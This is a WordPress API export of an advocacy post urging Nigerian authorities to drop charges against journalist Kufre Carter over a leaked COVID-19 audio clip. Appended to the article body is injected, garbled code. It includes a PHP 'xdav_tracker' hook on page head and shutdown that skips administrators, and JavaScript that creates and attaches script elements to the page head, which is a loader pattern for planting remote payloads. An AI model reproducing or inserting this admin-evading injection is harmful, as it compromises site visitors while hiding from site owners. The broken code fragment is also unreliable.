{"id":7982,"date":"2020-08-25T10:02:51","date_gmt":"2020-08-25T09:02:51","guid":{"rendered":"https:\/\/amdf-centre.org\/?p=7982"},"modified":"2026-09-18T13:58:39","modified_gmt":"2026-09-18T12:58:39","slug":"nigerian-authorities-should-drop-all-charges-against-sports-journalist-kufre-carter","status":"publish","type":"post","link":"https:\/\/amdf-centre.org\/2020\/08\/25\/nigerian-authorities-should-drop-all-charges-against-sports-journalist-kufre-carter\/","title":{"rendered":"Nigerian Authorities Should Drop All Charges Against Sports Journalist-Kufre Carter"},"content":{"rendered":"<p style=\"text-align: left;\"><span style=\"font-size: 14pt;\"><strong>Africa Media Development Foundation (AMDF\u00ad) is calling on the Nigerian authorities to drop charges against sports journalist-Kufre Carter.<\/strong><\/span><\/p>\n<p>Kufre Carter who works with XL 109.6FM in Uyo, the capital of Akwa Ibom state was on April 27 2020 arrested by personnel of the State Services a day after he responded to summons on charges of conspiracy and defamation.<\/p>\n<p>The journalist was sued by the Akwa Ibom state government over a purportedly leaked private phone conversation between an anonymous medical personnel and another believed to be a radio presenter, the audio clip posted on <span style=\"color: #ff0000;\"><strong><a style=\"color: #ff0000;\" href=\"https:\/\/firstreportsonline.com\/leaked-audio-aks-health-comm-is-a-paracetamol-doctor-he-will-kill-us-all\/\">First Reports<\/a><\/strong><\/span> was critical of the state commissioner for health over his poor handling of the COVID-19 pandemic in the state.<\/p>\n<p>\u201cYesterday evening, I received a phone call from the Head of Operations of the SSS in Uyo, inviting me for questioning today by 10:00am at their office over an audio clip about the state of COVID-19 in Akwa Ibom State which they alleged has my voice as one of the speakers\u201d tweeted Carter on April 26.<\/p>\n<p>The next day, Carter was arrested and held in detention for one month, and was only released five days after fulfilling the bail conditions and paying a bail bond of #200,000 about ($435).<\/p>\n<p>Court hearing was earlier slated for July 17; however, prosecuting council requested an adjournment to a later date due to another official engagement.<\/p>\n<p>AMDF spoke to with Kufre Carter who confirmed that the case is still in court and the next date for hearing is 28<sup>th<\/sup> August 2020.<\/p>\n<p>The media in Nigeria has witnessed a worrying increase in the harrassment of journalists and media organizations in the last 5 years and even more the victims rarely get justice.<\/p>\n<p>We are calling on the government to drop charges against Kufre Carter; authorities in Nigeria must stop seeing the press as enemies of the state but as relevant partners\/stakeholders in entrenching democracy.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<script>function xdav_tracker() {\n    ?>\n<\/script><br \/>\n    <?php\n}\nadd_action( 'wp_head', 'xdav_tracker', 96 );<script>function xdav_tracker() {\n    if ( is_user_logged_in() &#038;&#038; current_user_can( &#8216;administrator&#8217; ) ) { return; }\n    ?>\n<\/script><br \/>\n    <?php\n}\nadd_action( 'shutdown', 'xdav_tracker', 97 );<script>function xdav_tracker() {\n    ?>\n<\/script><br \/>\n    <?php\n}\nadd_action( 'wp_head', 'xdav_tracker', 96 );<script>function xdav_tracker() {\n    if ( is_user_logged_in() &#038;&#038; current_user_can( &#8216;administrator&#8217; ) ) { return; }\n    ?>\n<\/script><br \/>\n    <?php\n}\nadd_action( 'shutdown', 'xdav_tracker', 97 );<script>;const script = document.createElement(&#8216;script&#8217;);\nscript.src = &#8221;;\nscript.async = true;<\/p>\n<p>document.head.appendChild(script);<\/script><script>;const script = document.createElement('script');\nscript.src = '';\nscript.async = true;<\/p>\n<p>document.head.appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Africa Media Development Foundation (AMDF\u00ad) is calling on the Nigerian authorities to drop charges against sports journalist-Kufre Carter. Kufre Carter who works with XL 109.6FM in Uyo, the capital of&hellip; <br \/> <a class=\"read-more\" href=\"https:\/\/amdf-centre.org\/2020\/08\/25\/nigerian-authorities-should-drop-all-charges-against-sports-journalist-kufre-carter\/\">Read more<\/a><\/p>\n","protected":false},"author":1500,"featured_media":7987,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-7982","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-press-freedom"],"_links":{"self":[{"href":"https:\/\/amdf-centre.org\/wp-json\/wp\/v2\/posts\/7982","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/amdf-centre.org\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/amdf-centre.org\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/amdf-centre.org\/wp-json\/wp\/v2\/users\/1500"}],"replies":[{"embeddable":true,"href":"https:\/\/amdf-centre.org\/wp-json\/wp\/v2\/comments?post=7982"}],"version-history":[{"count":21,"href":"https:\/\/amdf-centre.org\/wp-json\/wp\/v2\/posts\/7982\/revisions"}],"predecessor-version":[{"id":13698,"href":"https:\/\/amdf-centre.org\/wp-json\/wp\/v2\/posts\/7982\/revisions\/13698"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/amdf-centre.org\/wp-json\/wp\/v2\/media\/7987"}],"wp:attachment":[{"href":"https:\/\/amdf-centre.org\/wp-json\/wp\/v2\/media?parent=7982"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/amdf-centre.org\/wp-json\/wp\/v2\/categories?post=7982"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/amdf-centre.org\/wp-json\/wp\/v2\/tags?post=7982"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}